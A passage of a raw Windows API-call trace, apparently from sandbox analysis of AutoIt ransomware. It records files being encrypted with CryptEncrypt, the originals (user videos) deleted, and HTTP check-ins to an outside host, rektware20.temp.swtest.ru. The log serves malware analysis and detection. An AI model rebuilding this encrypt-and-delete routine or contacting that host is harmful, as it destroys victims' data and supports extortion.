lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.886] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.886] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18a1850*, pdwDataLen=0x130e618*=0xc2b4, dwBufLen=0xc2c0 | out: pbData=0x18a1850*, pdwDataLen=0x130e618*=0xc2c0) returned 1 [0065.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.887] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.887] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.887] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.888] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.888] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.888] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.888] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.888] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.888] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.888] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.894] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xc2c0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xc2c0, lpOverlapped=0x0) returned 1 [0065.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.898] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.898] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0065.898] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.898] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0065.898] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0065.899] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0065.899] CryptDestroyKey (hKey=0x164c630) returned 1 [0065.899] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.899] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.899] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.899] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.899] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.899] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.899] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.899] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0065.899] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.899] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.900] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.900] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.900] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.900] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.900] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.900] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.900] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.900] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.900] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.900] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.901] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.901] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0065.901] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0065.901] CryptReleaseContext (hProv=0x17aabc0, dwFlags=0x0) returned 1 [0065.901] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.901] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.902] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.902] FreeLibrary (hLibModule=0x74c60000) returned 1 [0065.902] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.902] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.902] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.902] CloseHandle (hObject=0x2ac) returned 1 [0065.905] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.905] CloseHandle (hObject=0x3bc) returned 1 [0065.909] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.910] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.910] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", lpFilePart=0x0) returned 0x28 [0065.910] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\pmmm9p4.flv")) returned 0x20 [0065.910] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0065.910] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\pmmm9p4.flv")) returned 1 [0065.928] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0065.928] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0065.928] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.929] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.929] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.929] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.929] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0065.929] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0065.929] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.929] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0065.929] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.929] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0065.929] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0065.929] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c) returned 1 [0065.929] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.929] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.930] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.941] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0065.941] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0065.941] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0065.941] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0065.941] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0065.942] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.944] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.944] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.944] CloseHandle (hObject=0x0) returned 0 [0065.944] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.944] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.944] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.944] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dwQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0065.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.950] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.950] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0065.950] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.950] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0065.950] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0065.950] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.950] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0065.951] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0065.951] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c) returned 1 [0065.951] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.951] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.951] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.956] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0065.956] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, 